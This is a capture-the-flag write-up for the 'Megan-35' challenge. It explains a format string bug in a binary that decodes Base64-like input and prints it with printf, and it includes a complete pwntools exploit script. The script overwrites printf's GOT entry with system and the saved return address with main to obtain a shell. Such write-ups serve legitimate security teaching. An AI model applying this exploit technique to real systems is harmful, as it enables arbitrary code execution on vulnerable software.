Writeup by hgarrereyn
- 200 points
- Description: We created our own Megan-35 decoding tool, feel free to test it. System is running Ubuntu 16.04, ASLR is disabled.
- exploit script
This was a pretty standard format string attack. The approach I used was to perform four writes at once to do the following:
- replace the saved return pointer with
Then the program would effectively loop and call
system(user_input) instead of
The actual vulnerability occured here near the end of
__pic: 0804854c pop edx 0804854d pop ecx 0804854e push eax ; argument "src" for method j_strcpy 0804854f push ebx ; argument "dst" for method j_strcpy 08048550 call j_strcpy 08048555 mov dword [esp+0x238+var_238], ebx ; argument "format" for method j_printf 08048558 call j_printf 0804855d mov edx, dword [ebp+var_1C] 08048560 xor edx, dword [gs:0x14] 08048567 je loc_804856e
The only gotcha was that the input was decoded using Megan-35 before it was printed. It turns out that Megan-35 is just Base64 with a different charset (I really have no idea why it exists).
Anyways, I was able to use the following python script to encode text:
import base64 char_megan35 = "3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5" char_base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" char_map = dict(zip(char_base64, char_megan35)) def m35encode(s): b = base64.b64encode(s) return ''.join([char_map[x] for x in b])
Crafting the Exploit
Using gdb to examine memory, I could see that the encoded text was stored on the stack starting at offset
7. In order to maintain the address pointers, I sent them as plaintext. However, the actual format string attack had to be encoded with Megan-35.
Since ASLR was disabled, it was easy to leak a libc address and calculate the address of system using the provided libc.so binary.
Using the same method, you could leak a stack pointer and calculate the offset to the return address.
Once you had both these values, you could craft a 4 part format string attack (writing two bytes with
$hn) and get a shell.
# by hgarrereyn from pwn import * import base64 import binascii char_megan35 = "3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5" char_base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" char_map = dict(zip(char_base64, char_megan35)) def m35encode(s): b = base64.b64encode(s) return ''.join([char_map[x] for x in b]) def r(): print sock.recvline() # --- sock = remote('megan35.stillhackinganyway.nl', 3535) sock.recvline() # Overwrite [email protected] with <system> # system = 0xf7e50da0 system = 0xf7e53940 system_low = (system & 0xFFFF) system_high = (system & 0xFFFF0000) >> 16 main = 0x080484ea main_low = (main & 0xFFFF) main_high = (main & 0xFFFF0000) >> 16 printf_got = 0x0804a00c buff = '' buff += '\x08\x04\xa0\x0c'[::-1] # [email protected] buff += '\x08\x04\xa0\x0e'[::-1] # [email protected] + 2 buff += '\xff\xff\xdd\xcc'[::-1] # saved return address buff += '\xff\xff\xdd\xce'[::-1] # saved return address + 2 buff_e = '' # stuff that needs to be encoded # These need to be ordered from lowest to highest write value buff_e += ('%' + str(main_high - 12) + 'x%10$hn') buff_e += ('%' + str(system_low - main_high) + 'x%7$hn') buff_e += ('%' + str(main_low - system_low) + 'x%9$hn') buff_e += ('%' + str(system_high - main_low) + 'x%8$hn') buff += m35encode(buff_e) sock.sendline(buff) c = sock.clean(timeout=1) sock.sendline(m35encode('sh')) print "Have a shell:" sock.interactive()